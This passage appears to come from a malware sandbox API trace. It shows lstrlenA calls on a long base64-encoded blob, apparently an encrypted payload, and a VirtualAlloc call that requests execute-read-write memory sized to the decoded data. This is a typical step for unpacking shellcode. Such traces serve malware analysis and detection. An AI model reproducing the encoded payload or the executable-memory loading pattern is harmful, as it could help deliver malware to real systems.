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", pcchString=0x19fd18) returned 1 [0163.803] lstrlenA (lpString="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") returned 5792 [0163.803] VirtualAlloc (lpAddress=0x0, dwSize=0x16a2, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0163.804] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CErOIcj/44TH/51GoHl5EfkG3f+ew2nb1YTiXbpn1RL3mBkXlplnjtmtnqobVFqvqHE8MS/80vPEVDx5f+EwcsmDicF79nKdrK+MFDmWIPfGEjuZHoSpu2Kls6XQkEqarD7k92x3+pcixC0T1MbnGqMBlAMJ38CRIqE5nH71RK3VwmK5KIrAh0R2vZ8qYJPmg75RdH/eJcF6Z35DMvVuyDqpYXOlyryaYb5PDLn8UOULsboAmXl1s7sJFW+WkiGQPPbh9ZiAof7QR/x1ZwaENHdnb28y7AHCF+Int5y1ocyt27nQyOHLuWFIvDtwZDbS2GJvewJCqj+wAXxqZT2rTGokNXqiT3LJE1KYoiEMqVAZh876Pb17V7Zs8+21vFbGSNgGYINYaR3a8uMuMw/cEQoQkUq1xhXMdw0LbrMh2Ey58AYJjKEO13YBgHLcdpBSQDhp3Uzm6FplQcIuBF5B+aW/+E3/+/ZPjpVIgjg2pNvlFa2BKnWanJjqDuVQn8KWIpjgJt24RyU2fVTUqh3d1nkQh1ILlXha2IY052vHhS4+Fu16rI4Q6xIh2rklxQrbLZ1IarjrAUF48abLVK3LUGtA5cM8J0QgJoVD4BXSiGcji3Nr9pvHaiUIf+0N28mb2vr3aXchTdD+WbBKQdz0Gu/4kKWBVtcKvqkzx8GVFxBSMUV2JZb+3ouUYyRhgbF/uI7lfPRVYtSPztoHz6H4GzWrALB56M8BFeWraI6KtmzyKB1ILtZvS1fDmo/z7N6EcyEUZAW+NLuqwnFFhm7h8ZWHuh3GruC/eVcGETHY3L7aejps7DMbpHKif7b2AjdvFTQepGXLPyTjM9lPaesuuR1CoZtJeTHbIBMZIZTgNgSFJ2rrr59CB46LZ+OaOOCaA1qDNWamwBLkIKqYSGcoUYui3l4KirmUjSAig893axbz1fvN8yHRRzQ0dRynDRTgYek2L0RrovDVvPDa8llXxG/qJckHpgVys/RR2FoXdQA9MMU9Wng97D4kw+AHcmjv/T5iPN/chdULDoIOsDPGQ3TtYiA66TRxYtQkrReWZX1wStPHwdoCoXiQH7hf+vtY9VkJ8Fllv0wem2B/emj6DY84MZ9vDSKp1/b1KNW/BBkQceodXREUq5CA9LMCGgwag14LwGz0aXP36gXvXngMqwvUYJ0aNqqFdDds9eb7aXooJ5mWroQZyFnwesHOYH4bPsXX5Khm6vJrx6vGBI6E/51Fgk36cgRPboCMqlyZjBPNSESEb/vfhLhpFFN1g7CxtYJvjZ40lhxHAv+gJlX/otmiepAXaspolSitqafDjGl/QCfh5lY0khQMq/tC9yEKY8gO2McBEyrOcUTHEDnzu43mNhT7WGLTWAqUtKVj/twLiIFmcqZOqf86dlezZYECBFD5uTJpu/ey94Oi4dUI3YSmRErWm+mbqSqVl/k2AJFYNz+ZdccACWaylJo/sSF8sUr7lmt5AWFj2t/Vnt6VPh65tOb549w50NzixamjLIn6QIjOzNXyPAi7Fji74nCMJZ6NU/Knxk62gvrfoEkPdp/hgwLSYZVHW1WTGZJPsvaz09/mC1/Skje//7DG/lJuAXAXrSkYxdHpk/bgrsJLZ9XbBkY6djMCaFeRyuZKR8BW0Pmr14+9yo1Ng0kNjRPyL3dKoxYB4zGMqXhj4XDoYQ7Af3yfBO96D+65nUTiPHL1wXYer7mJZ96VuVjY9EYrC37n96eaQqQ4H7Jmd/hgZu+U2NuPym12JzoYTekUp9meAZZYXH0+MgMQ4106UXp490Icvv0mrWVlSIauDScgQuq6VDwoemePMTeULD/EK91GWPzo1NuWTeuddtxsqVSoPrRzoKtIak5m7s3CH0Dmh7VOvL1jVDYR6XOyqPgA/W1I90y1XZVOxveyu8MtOoG9Z2F2zcmJWBGxq1ZVOJ2wH1STU822MJQvW+sA1ZKA5cbIbZ3vnDQKSnFsZC5lhgyuVyeiRUXq4BwK3DLJjMchKGYbE2mxPhwGXLvT/kABtJmx0V0PALpvGUoWm5G+FC2VW5ryNKeM/VtBU9Oj0lk00JwB1uxwD1KS+K8y9xgsdPPItQSi5zU538gPhPkqFTS8FhvJG9S2NUvj+5nBpY9r3+nzNJWsnxHgm4uTrPbT8A0lKNQ4+lc+24cFMNCtrPXTLZb4HVKwyiHM0Qr7TEgOMU/eBofUhUDzbmOMCdOWgP8ysnaQyW4UiEoES2rfK139f5Q31GlQtX4YhI7Kprv6intucnG3lBcpHAQp7wVHsdr8ruyzumwBuN2FhYjTEgBLwd/e5yknjbGU0Gb3X3qxHxmqQj5iueqZPMhnfrmnozES2SdZkrVJNK6I9rpPfFpJ2NTvVtS4pvZ0bA4QuXoXxASuNdp5YWaphbGzi+75nK6Tc+pXtCkQpsPN7TUQWAqcEym+o9oggS2RJSwvXhBZofJLnptQAHB0UEWa42gHGHdICvNQI5uVc1sn+GKdAEz+2IN9YgztqC9ola/bZr4qcqE6/cO/EagQp536HqZCyEArWyIl7b3mHPcqJbYObGDjmaHz80lP7phXNoKASWZt44ygPGPbkZRQ0hemrjIrOgCDxo3IyZ0VKD2NmH2+X/tzNOx+U/dQ7lRXNHZQkSrOCQxSCLaf3xPgr2Exrr8VfbI52LWmS8YV143fclYqG0h3Ugs0SAMRknU6F5/HJMs6GONma7S/hs/QDVbs7wUyeRVSRAsjNw+NdqhpOXm4Xs+MjfQOP6Pl6TK6hSarW9TVL2aF4+5W4Q8HSEU8x25k/le/W0bnMxQk3ZLEUoYIFAZH+yzVGHYkkKVR3xpVeCUBqN98UpOyYtAv+Vo6pto8ElGvJtNT14Hph9ZU37J8av3sl4BWtx7jlXea0hzGS6EfjDCcc/I/GtKzFAy3ePRyznzsyRN86LVmvVSTqNv4RPwo2UQKQZlV0vvomMJi7iG2/XakwXVTC5nhs7qj6LlTC25F2W71jihItCP0ZwW6Gr8GIu54sofIQgujJmmYO/v3Ma5eCzQDKW8zQ3rdcwzb4Fby+JSYy9FlQe04h9bXHwJD4utvpFAhYatygYQZxtCA8AQmL8fXYudRx2K4xIHULMwC1t9KC5e8xozb6MNM0zKVdFBoXuSmcdi7GTJOOqhBsxJXoiDTzo1mnMZOT/J+uR3AVmUDxAid1oQ2ZLJFYxFMAwzgGz2GmjMuorZ23ijPyDOXTx3WosyG7ZEVBnQiErmPD0uZIHISbT7jxu4ZnDlAG4wdDKaPuECQ/QDFPbD2Rp2YnhXQph0KnvDGOgpjyAKkktYUSwZa4nmdUMKwDqj83gRKeGTvxibNcIZiK8GylD1Lpk3B57nrjtnQRq5VglTHATycQFn93TxEpiyWr7V4r6lgPEfDIB13AOVP5LLawF6y5MqPCgNuxB5FXRcEH1GQ6HcmmD9pY6nHoWF5o3fNjb1gZ6yF07+ZZeSERDoQN6Min6OEHsgvnBZn5nm/zlHF25KEBv1jctsEsVrZvHgLiwQju5O+quq8e4J9tRYchTmV5d0HesctWSTeZooxBPrwIr67tGGg2e/PYbJfa/f5Ip4yRZXxcG2vPDwXTiEWbaNDa1d12eB504zlqbIz+xD0a5XTLafVPBDk0mh8Gsc9oz4aJK6YMFPHgjiFBBoLB1LvDvAbvXTb84pqqvLePjjbHaNnMiZEHXcH+SwA2uVSQOxmoGAuuTQPsDaK35UKXOFvXe6NnjV/hdlGb7wkqRX9X4UgXF+q5zxOigIM0FtD35TjdrezVItQCkC8LwpLezuFbjZYJpz5J/dudqUe2tj4O2+k1RCySCG1W6t6voNUCYoPaehPZdTIq+Lhmr3AFSWasfhdHLz7mQWkPgozS+vhJH++p6NdnsTxtCabCb3cI9xmOZ9TaorBCq7ZlZZXU2bnS6+lXjUA0diQt4YReV+tP93M1wXPnhe7mB2Us00leOXa/PHZDdBmFEiOSXLuLMAeMB/bB9SA6BHvIa/mQDwLthGeyrgIojpLOUziKrwMM0Vr4ZyEwHQGveYIDBzrd9/t+7L/84YsvpqvQmp3G2VXYa4U0XUguZ4tbYaTisqZl3SSevx6BW3lVWBNKzvyVRDgtHvWYWEUEoAUwMb9RW9lSEd01LXyopdGPuaI8bfBDwwPk3Ae+LqU9c/oWvFanQlUdBI9eLTTk41hnE9xqq28lmXI0o/nTifKpE1MNsW3uWnVifpCDW2m918k/U3uwImLgOVej1Ftf4j9AL63U3NuGHouWyQ+DCfnWSOe/1/juG9sKaY7Qye/ZlCkNnoFSDrkyctOkb2HQqbYwDGCQy7a3gt4eBHAbL4ALV6zDYo3+EvO9aJbKAQ4664sJsNwkcmz9zOXaA+3pkiCcAhj05jQspQDEjHsckuN4hihLIVBUZDaGLZqeWA0L+Hx+lU7Sfxv6P6f562iRzArC23gqK4t1iH/NHJ4De9xzKDGtF1v+pQ/5gSC0i8ZwClUZ//tNnssnFK8CHZI+4/Tap87Edz35bMlMNFzmacQggLVE47byqrqT+sdfL2l1N768euDpVH2cEbbNHVVhiL8uZAXqxPtbnnRrYArmXFKOm7eEsFTk6nNSnHE1ph0LspESXwD9U+KbmYG7l99qogQ3tFuqkesD8D5TnhzU77C4za2T